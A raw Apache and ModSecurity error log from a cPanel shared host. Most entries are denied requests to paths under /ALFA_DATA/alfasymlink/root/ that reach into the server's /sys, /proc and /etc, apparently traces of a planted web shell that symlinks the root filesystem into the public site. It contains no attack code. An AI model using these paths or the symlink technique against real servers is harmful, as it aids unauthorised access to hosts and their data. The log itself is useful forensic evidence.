[Sun Oct 25 13:07:12.550445 2026] [security2:error] [pid 2867879:tid 2867879] [client 85.208.96.202:23538] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_1k/cpu_slabs"] [unique_id "at43QIIGIq5euXyTbvT0jwAAACQ"]
[Sun Oct 25 13:07:22.223442 2026] [ssl:error] [pid 2867885:tid 2867885] (70014)End of file found: [client 34.195.248.30:32019] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:07:30.403516 2026] [ssl:error] [pid 2862822:tid 2862822] (70014)End of file found: [client 44.215.61.66:4001] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:07:38.282030 2026] [ssl:error] [pid 2867836:tid 2867836] (70014)End of file found: [client 3.230.69.161:57792] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:07:46.171054 2026] [core:error] [pid 2867885:tid 2867885] (13)Permission denied: [client 54.225.199.17:6595] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/device:01/wakeup/wakeup1/device/physical_node/subsystem/drivers/iosf_mbi_pci/new_id
[Sun Oct 25 13:07:58.220114 2026] [ssl:error] [pid 2862773:tid 2862773] (70014)End of file found: [client 44.195.145.102:57275] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:08:10.210450 2026] [ssl:error] [pid 2867876:tid 2867876] (70014)End of file found: [client 34.206.249.188:48305] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:08:14.169186 2026] [ssl:error] [pid 2867890:tid 2867890] (70014)End of file found: [client 54.198.33.233:61601] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:08:22.318434 2026] [ssl:error] [pid 2862822:tid 2862822] (70014)End of file found: [client 34.196.237.236:13267] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:08:34.295414 2026] [ssl:error] [pid 2867834:tid 2867834] (70014)End of file found: [client 3.90.73.206:58774] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:08:34.604436 2026] [core:error] [pid 2867885:tid 2867885] (13)Permission denied: [client 185.191.171.16:24952] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dentry/objs_per_slab
[Sun Oct 25 13:08:42.245857 2026] [ssl:error] [pid 2862773:tid 2862773] (70014)End of file found: [client 54.90.244.132:41304] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:08:46.180497 2026] [ssl:error] [pid 2867836:tid 2867836] (70014)End of file found: [client 52.204.174.139:29227] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:08:47.662075 2026] [core:error] [pid 2867879:tid 2867879] (13)Permission denied: [client 85.208.96.197:50522] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/drm/sections/__verbose
[Sun Oct 25 13:08:50.183628 2026] [security2:error] [pid 2867876:tid 2867876] [client 98.83.177.42:9537] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty50/subsystem/tty62/subsystem/tty21/"] [unique_id "at43olMGGelIHqGysXAaWAAAAB8"]
[Sun Oct 25 13:08:50.183674 2026] [security2:error] [pid 2867876:tid 2867876] [client 98.83.177.42:9537] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty50/subsystem/tty62/subsystem/tty21/"] [unique_id "at43olMGGelIHqGysXAaWAAAAB8"]
[Sun Oct 25 13:08:54.176724 2026] [ssl:error] [pid 2867834:tid 2867834] (70014)End of file found: [client 3.220.148.166:11675] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:08:55.691305 2026] [core:error] [pid 2867885:tid 2867885] (13)Permission denied: [client 85.208.96.197:38180] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/aio_kiocb/hwcache_align
[Sun Oct 25 13:09:02.170761 2026] [ssl:error] [pid 2862822:tid 2862822] (70014)End of file found: [client 100.29.34.97:45811] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:09:06.326952 2026] [ssl:error] [pid 2862773:tid 2862773] (70014)End of file found: [client 54.144.185.255:52368] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:09:13.307268 2026] [security2:error] [pid 2867879:tid 2867879] [client 43.159.128.237:35158] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "162.216.113.238"] [uri "/"] [unique_id "at43uYIGIq5euXyTbvT0lAAAACQ"]
[Sun Oct 25 13:09:14.882719 2026] [proxy_fcgi:error] [pid 2867885:tid 2867885] [client 34.11.168.243:62337] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 13:09:14.914190 2026] [proxy_fcgi:error] [pid 2867834:tid 2867834] [client 34.11.168.243:61829] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 13:09:18.397997 2026] [ssl:error] [pid 2867895:tid 2867895] (70014)End of file found: [client 18.215.77.19:51923] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:09:22.259455 2026] [ssl:error] [pid 2867836:tid 2867836] (70014)End of file found: [client 52.1.157.90:41190] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:09:30.233586 2026] [core:error] [pid 2867834:tid 2867834] (13)Permission denied: [client 52.203.65.83:40012] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/physical_node/subsystem/drivers/virtio-pci/0000:00:03.0/driver/bind
[Sun Oct 25 13:09:34.179350 2026] [core:error] [pid 2862773:tid 2862773] (13)Permission denied: [client 52.45.15.233:29762] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory5/node0/memory17/node0/compact
[Sun Oct 25 13:09:38.179920 2026] [ssl:error] [pid 2867890:tid 2867890] (70014)End of file found: [client 34.205.163.103:11013] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:09:58.299834 2026] [ssl:error] [pid 2867836:tid 2867836] (70014)End of file found: [client 35.171.117.160:60087] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:10:14.171260 2026] [core:error] [pid 2867885:tid 2867885] (13)Permission denied: [client 54.90.8.255:7220] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/PNP0A03:00/device:16/subsystem/devices/device:05/physical_node/driver/0000:00:04.0/resource1
[Sun Oct 25 13:10:36.343769 2026] [security2:error] [pid 2867879:tid 2867879] [client 92.58.194.164:48022] ModSecurity: Warning. Operator EQ matched 0 at REQUEST_HEADERS. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "157"] [id "920180"] [rev "1"] [msg "POST request missing Content-Length Header."] [data "0"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/"] [unique_id "at44DIIGIq5euXyTbvT0mAAAACQ"]
[Sun Oct 25 13:10:42.361643 2026] [core:error] [pid 2867885:tid 2867885] (13)Permission denied: [client 23.21.225.190:35678] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty50/subsystem/tty1/subsystem/ttyS3/port
[Sun Oct 25 13:10:46.294596 2026] [ssl:error] [pid 2867895:tid 2867895] (70014)End of file found: [client 52.7.13.143:3916] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:10:55.214739 2026] [core:error] [pid 2862822:tid 2862822] (13)Permission denied: [client 185.191.171.4:56996] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/filp/store_user
[Sun Oct 25 13:10:57.288986 2026] [security2:error] [pid 2867836:tid 2867836] [client 185.191.171.10:36028] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/conc/php56/edit.php"] [unique_id "at44IUnqvEndZSiuRU5ORgAAAA8"]
[Sun Oct 25 13:10:57.289034 2026] [security2:error] [pid 2867836:tid 2867836] [client 185.191.171.10:36028] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/conc/php56/edit.php"] [unique_id "at44IUnqvEndZSiuRU5ORgAAAA8"]
[Sun Oct 25 13:11:06.181760 2026] [core:error] [pid 2867885:tid 2867885] (13)Permission denied: [client 52.5.242.243:46486] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory15/node0/cpu1/driver/unbind
[Sun Oct 25 13:11:14.204496 2026] [ssl:error] [pid 2862773:tid 2862773] (70014)End of file found: [client 98.82.63.147:59203] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:11:18.206643 2026] [ssl:error] [pid 2867836:tid 2867836] (70014)End of file found: [client 18.214.138.148:3896] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:11:22.220391 2026] [ssl:error] [pid 2867876:tid 2867876] (70014)End of file found: [client 52.23.112.144:1569] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:11:26.206382 2026] [ssl:error] [pid 2867879:tid 2867879] (70014)End of file found: [client 50.19.221.48:1123] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:11:30.189511 2026] [ssl:error] [pid 2862773:tid 2862773] (70014)End of file found: [client 54.243.63.52:33580] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:11:31.028115 2026] [ssl:error] [pid 2867866:tid 2867866] (70014)End of file found: [client 185.191.171.16:26902] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:11:38.189553 2026] [ssl:error] [pid 2867836:tid 2867836] (70014)End of file found: [client 52.71.203.206:5529] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:11:54.872178 2026] [core:error] [pid 2867885:tid 2867885] (13)Permission denied: [client 185.191.171.16:35024] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-64/cpu_partial
[Sun Oct 25 13:12:10.308001 2026] [ssl:error] [pid 2867876:tid 2867876] (70014)End of file found: [client 34.231.77.232:62965] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:12:14.208261 2026] [core:error] [pid 2867890:tid 2867890] (13)Permission denied: [client 3.215.221.125:2907] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/subsystem/devices/device:1d/subsystem/devices/PNP0A03:00/device:18/eject
[Sun Oct 25 13:12:18.205734 2026] [ssl:error] [pid 2867879:tid 2867879] (70014)End of file found: [client 52.70.209.13:38264] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:12:34.182398 2026] [ssl:error] [pid 2867836:tid 2867836] (70014)End of file found: [client 54.209.100.30:56512] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:12:47.805635 2026] [core:error] [pid 2867885:tid 2867885] (13)Permission denied: [client 85.208.96.201:29394] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/mnt_cache/ctor
[Sun Oct 25 13:13:02.285819 2026] [core:error] [pid 2867890:tid 2867890] (13)Permission denied: [client 34.202.88.37:50921] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory2/node0/memory3/node0/cpu0/firmware_node/subsystem/devices/device:03/physical_node/rescan
[Sun Oct 25 13:13:03.191157 2026] [core:error] [pid 2867879:tid 2867879] (13)Permission denied: [client 85.208.96.209:43020] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pid/cpu_slabs
[Sun Oct 25 13:13:11.537617 2026] [ssl:error] [pid 2867895:tid 2867895] (70014)End of file found: [client 3.221.50.71:43483] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:13:26.183100 2026] [ssl:error] [pid 2867876:tid 2867876] (70014)End of file found: [client 44.210.213.220:14366] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:13:38.211878 2026] [core:error] [pid 2867885:tid 2867885] (13)Permission denied: [client 3.221.50.71:39084] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/device:01/wakeup/wakeup1/device/physical_node/subsystem/drivers/ata_piix/new_id
[Sun Oct 25 13:13:42.181168 2026] [ssl:error] [pid 2862773:tid 2862773] (70014)End of file found: [client 34.238.45.183:33944] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:13:54.287269 2026] [ssl:error] [pid 2867876:tid 2867876] (5)Input/output error: [client 44.223.193.255:7501] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:13:58.207447 2026] [ssl:error] [pid 2867890:tid 2867890] (70014)End of file found: [client 44.223.116.149:27005] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:14:02.179501 2026] [core:error] [pid 2867879:tid 2867879] (13)Permission denied: [client 3.215.59.93:12131] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/memory6/node0/memory20/subsystem/drivers_probe
[Sun Oct 25 13:14:10.220559 2026] [ssl:error] [pid 2867885:tid 2867885] (70014)End of file found: [client 107.23.62.75:21714] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:14:21.809427 2026] [authz_core:error] [pid 2867866:tid 2867866] [client 45.198.224.125:34376] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 13:14:26.383109 2026] [ssl:error] [pid 2867836:tid 2867836] (70014)End of file found: [client 34.205.170.13:45563] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:14:30.378432 2026] [ssl:error] [pid 2867876:tid 2867876] (70014)End of file found: [client 18.214.138.148:29426] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:14:42.112302 2026] [core:error] [pid 2867885:tid 2867885] (13)Permission denied: [client 85.208.96.207:26818] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip6-frags/aliases
[Sun Oct 25 13:14:42.204547 2026] [ssl:error] [pid 2862773:tid 2862773] (70014)End of file found: [client 54.210.152.179:26445] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:14:52.102730 2026] [core:error] [pid 2867836:tid 2867836] (13)Permission denied: [client 85.208.96.206:41234] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dnotify_mark/store_user
[Sun Oct 25 13:14:54.202137 2026] [ssl:error] [pid 2867890:tid 2867890] (70014)End of file found: [client 52.4.238.8:40306] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:15:00.748649 2026] [ssl:error] [pid 2867834:tid 2867834] (70014)End of file found: [client 85.208.96.207:19592] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:15:14.260628 2026] [ssl:error] [pid 2867876:tid 2867876] (70014)End of file found: [client 3.217.82.254:45328] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:15:24.576390 2026] [core:crit] [pid 2862773:tid 2862773] (13)Permission denied: [client 216.244.66.250:37028] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/polkit-1/rules.d/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/polkit-1/rules.d/' is executable
[Sun Oct 25 13:15:24.576456 2026] [core:crit] [pid 2862773:tid 2862773] (13)Permission denied: [client 216.244.66.250:37028] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/polkit-1/localauthority/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/polkit-1/localauthority/' is executable
[Sun Oct 25 13:15:26.246732 2026] [ssl:error] [pid 2867885:tid 2867885] (5)Input/output error: [client 54.89.90.224:31380] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:15:28.577069 2026] [core:crit] [pid 2867895:tid 2867895] (13)Permission denied: [client 216.244.66.250:37030] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/168/fd/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/168/fd/' is executable
[Sun Oct 25 13:15:28.577181 2026] [core:crit] [pid 2867895:tid 2867895] (13)Permission denied: [client 216.244.66.250:37030] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/168/map_files/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/168/map_files/' is executable
[Sun Oct 25 13:15:28.577198 2026] [core:crit] [pid 2867895:tid 2867895] (13)Permission denied: [client 216.244.66.250:37030] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/168/fdinfo/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/168/fdinfo/' is executable
[Sun Oct 25 13:15:30.299319 2026] [ssl:error] [pid 2867866:tid 2867866] (70014)End of file found: [client 44.221.105.234:2210] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:15:34.238979 2026] [core:crit] [pid 2867836:tid 2867836] (13)Permission denied: [client 216.244.66.250:57370] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/3/fd/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/3/fd/' is executable
[Sun Oct 25 13:15:34.239054 2026] [core:crit] [pid 2867836:tid 2867836] (13)Permission denied: [client 216.244.66.250:57370] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/3/map_files/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/3/map_files/' is executable
[Sun Oct 25 13:15:34.239071 2026] [core:crit] [pid 2867836:tid 2867836] (13)Permission denied: [client 216.244.66.250:57370] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/3/fdinfo/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/3/fdinfo/' is executable
[Sun Oct 25 13:15:34.330163 2026] [ssl:error] [pid 2867876:tid 2867876] (70014)End of file found: [client 54.163.136.244:41851] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:15:46.362764 2026] [core:error] [pid 2867885:tid 2867885] (13)Permission denied: [client 3.220.148.166:24794] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:00/physical_node/i2c-0/device/subsystem/slots/7/module/uevent
[Sun Oct 25 13:15:50.416873 2026] [ssl:error] [pid 2867895:tid 2867895] (70014)End of file found: [client 52.1.106.130:37064] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:15:54.626817 2026] [ssl:error] [pid 2862822:tid 2862822] (70014)End of file found: [client 54.210.155.69:6659] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:16:02.142543 2026] [core:error] [pid 2867876:tid 2867876] (13)Permission denied: [client 185.191.171.12:15500] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-32/sanity_checks
[Sun Oct 25 13:16:02.600578 2026] [ssl:error] [pid 2867890:tid 2867890] (70014)End of file found: [client 54.243.63.52:19754] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:16:06.368946 2026] [ssl:error] [pid 2867834:tid 2867834] (70014)End of file found: [client 34.236.41.241:16295] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:16:10.493306 2026] [ssl:error] [pid 2867885:tid 2867885] (70014)End of file found: [client 52.3.26.180:22378] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:16:18.549983 2026] [ssl:error] [pid 2867836:tid 2867836] (70014)End of file found: [client 34.196.114.170:37367] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:16:22.545774 2026] [ssl:error] [pid 2867876:tid 2867876] (70014)End of file found: [client 34.194.233.48:28849] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:16:34.607877 2026] [ssl:error] [pid 2867885:tid 2867885] (70014)End of file found: [client 54.225.98.148:43002] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:16:38.664301 2026] [ssl:error] [pid 2867895:tid 2867895] (70014)End of file found: [client 52.2.83.227:64120] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:16:45.886971 2026] [authz_core:error] [pid 2867836:tid 2867836] [client 169.40.142.202:42110] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/col2/php.ini
[Sun Oct 25 13:16:51.137204 2026] [ssl:error] [pid 2867879:tid 2867879] (5)Input/output error: [client 44.223.193.255:55654] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:16:54.663203 2026] [ssl:error] [pid 2862773:tid 2862773] (70014)End of file found: [client 52.202.233.37:39968] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:17:02.507757 2026] [core:error] [pid 2867895:tid 2867895] (13)Permission denied: [client 23.22.105.143:50485] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/device:04/physical_node/driver/0000:00:04.0/subsystem/drivers/piix4_smbus/0000:00:01.3/driver/module/sections/__param
[Sun Oct 25 13:17:06.531297 2026] [ssl:error] [pid 2862822:tid 2862822] (70014)End of file found: [client 52.4.238.8:11121] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:17:14.622383 2026] [core:error] [pid 2867879:tid 2867879] (13)Permission denied: [client 85.208.96.207:45004] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/radix_tree_node/shrink
[Sun Oct 25 13:17:14.629386 2026] [core:error] [pid 2867890:tid 2867890] (13)Permission denied: [client 3.212.219.113:17272] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:02/physical_node/subsystem/drivers/exar_serial/uevent
[Sun Oct 25 13:17:18.536111 2026] [ssl:error] [pid 2862773:tid 2862773] (5)Input/output error: [client 98.83.10.183:49925] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:17:22.713009 2026] [ssl:error] [pid 2867834:tid 2867834] (70014)End of file found: [client 44.218.170.184:45669] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:17:30.683091 2026] [ssl:error] [pid 2862822:tid 2862822] (70014)End of file found: [client 50.16.216.166:60644] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:17:31.192950 2026] [core:error] [pid 2867836:tid 2867836] (13)Permission denied: [client 85.208.96.212:56150] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/tw_sock_TCP/ctor
[Sun Oct 25 13:17:38.704978 2026] [ssl:error] [pid 2867890:tid 2867890] (70014)End of file found: [client 54.225.199.17:20679] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:17:50.693519 2026] [ssl:error] [pid 2867834:tid 2867834] (70014)End of file found: [client 52.3.104.214:17477] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:18:15.044979 2026] [ssl:error] [pid 2867895:tid 2867895] (70014)End of file found: [client 34.203.111.15:37992] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:18:26.883564 2026] [core:error] [pid 2867876:tid 2867876] (13)Permission denied: [client 18.208.11.93:35297] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/PNP0A03:00/wakeup/wakeup7/device/device:03/physical_node/subsystem/drivers/ata_piix/0000:00:01.1/driver/bind
[Sun Oct 25 13:18:30.805663 2026] [ssl:error] [pid 2867890:tid 2867890] (70014)End of file found: [client 54.88.84.219:3053] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:18:35.023114 2026] [ssl:error] [pid 2862773:tid 2862773] (70014)End of file found: [client 35.170.205.140:47039] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:18:47.525131 2026] [ssl:error] [pid 2867866:tid 2867866] (70014)End of file found: [client 44.206.65.8:52263] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:18:50.825147 2026] [core:error] [pid 2867836:tid 2867836] (13)Permission denied: [client 98.84.60.17:15858] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/PNP0501:00/subsystem/devices/PNP0A03:00/device:06/physical_node/resource4
[Sun Oct 25 13:18:52.900970 2026] [core:error] [pid 2867876:tid 2867876] (13)Permission denied: [client 85.208.96.203:20980] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-96/destroy_by_rcu
[Sun Oct 25 13:18:58.892953 2026] [core:error] [pid 2862773:tid 2862773] (13)Permission denied: [client 3.230.224.6:30344] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:12/subsystem/devices/device:06/physical_node/driver/0000:00:03.0/resource4
[Sun Oct 25 13:19:14.842777 2026] [ssl:error] [pid 2867876:tid 2867876] (70014)End of file found: [client 34.194.14.255:31760] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:19:26.857634 2026] [ssl:error] [pid 2867885:tid 2867885] (70014)End of file found: [client 52.45.77.169:38651] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:19:31.464252 2026] [ssl:error] [pid 2867895:tid 2867895] (70014)End of file found: [client 44.207.207.36:43000] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:19:33.865578 2026] [ssl:error] [pid 2867866:tid 2867866] (70014)End of file found: [client 185.191.171.14:61800] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:19:33.865871 2026] [security2:error] [pid 2867866:tid 2867866] [client 185.191.171.14:61800] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/firmware/memmap/4/end"] [unique_id "at46JeTZqNQxsvKVpXkhMQAAABM"]
[Sun Oct 25 13:19:33.865904 2026] [security2:error] [pid 2867866:tid 2867866] [client 185.191.171.14:61800] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/firmware/memmap/4/end"] [unique_id "at46JeTZqNQxsvKVpXkhMQAAABM"]
[Sun Oct 25 13:19:42.880123 2026] [ssl:error] [pid 2867834:tid 2867834] (70014)End of file found: [client 100.28.118.16:54936] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:19:46.909673 2026] [ssl:error] [pid 2862822:tid 2862822] (70014)End of file found: [client 54.83.56.1:7173] AH02013: coalesce failed to read from data bucket
